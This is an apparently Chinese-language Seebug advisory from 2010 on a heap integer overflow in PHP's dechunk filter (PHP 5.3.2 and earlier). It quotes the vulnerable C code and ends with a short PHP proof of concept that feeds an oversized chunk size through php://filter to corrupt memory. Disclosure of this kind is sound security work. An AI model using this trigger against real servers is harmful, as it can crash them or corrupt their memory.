PHP <= 5.3.2 php_dechunk() HTTP分块编码整数溢出漏洞

2010-05-04T00:00:00
ID SSV:19548
Type seebug
Reporter Root
Modified 2010-05-04T00:00:00

Description

BUGTRAQ ID: 39877

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP的ext/standard/filters.c文件中的php_dechunk()函数在处理HTTP流时存在符号错误,通过dechunk过滤器处理超大的HTTP块时可以触发内存破坏。

新的PHP dechunk过滤器中的状态机使用以下结构记忆当前的状态:

typedef struct _php_chunked_filter_data { php_chunked_filter_state state; int chunk_size; int persistent; } php_chunked_filter_data;

chunk_size存储为有符整形,由于使用了块大小解码器,这可能导致问题:

case CHUNK_SIZE: while (p < end) { if (p >= '0' && p <= '9') { data->chunk_size = (data->chunk_size * 16) + (p - '0'); } else if (p >= 'A' && p <= 'F') { data->chunk_size = (data->chunk_size * 16) + (p - 'A' + 10); } else if (p >= 'a' && p <= 'f') { data->chunk_size = (data->chunk_size * 16) + (*p - 'a' + 10); } else if (data->state == CHUNK_SIZE_START) { data->state = CHUNK_ERROR; break; } else { data->state = CHUNK_SIZE_EXT_START; break; } data->state = CHUNK_SIZE; p++; }

块大小解码器没有防范整数溢出,正的32位块大小会导致在chunk_size状态变量中存储负整数,之后将块大小与剩余的缓冲区空间做比较时会触发溢出:

case CHUNK_BODY: if (end - p >= data->chunk_size) { if (p != out) { memmove(out, p, data->chunk_size); } out += data->chunk_size; out_len += data->chunk_size; p += data->chunk_size;

在chunk_size有符整形变量中存储负的块大小会绕过检查,导致在两个堆缓冲区之间拷贝2GB到4GB。通常这仅能导致崩溃,但在多线程Web服务器中也可能导致可利用的内存破坏。不过PHP很少在多线程环境中使用。

PHP <= 5.3.2 厂商补丁:

PHP

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.php.net

                                        
                                            
                                                &lt;?php
$x = '0fffffffe

XXX';
file_put_contents(&quot;file:///tmp/test.dat&quot;,$x);
$y = file_get_contents('php://filter/read=dechunk/resource=file:///tmp/test.dat');
echo &quot;here&quot;;
?&gt;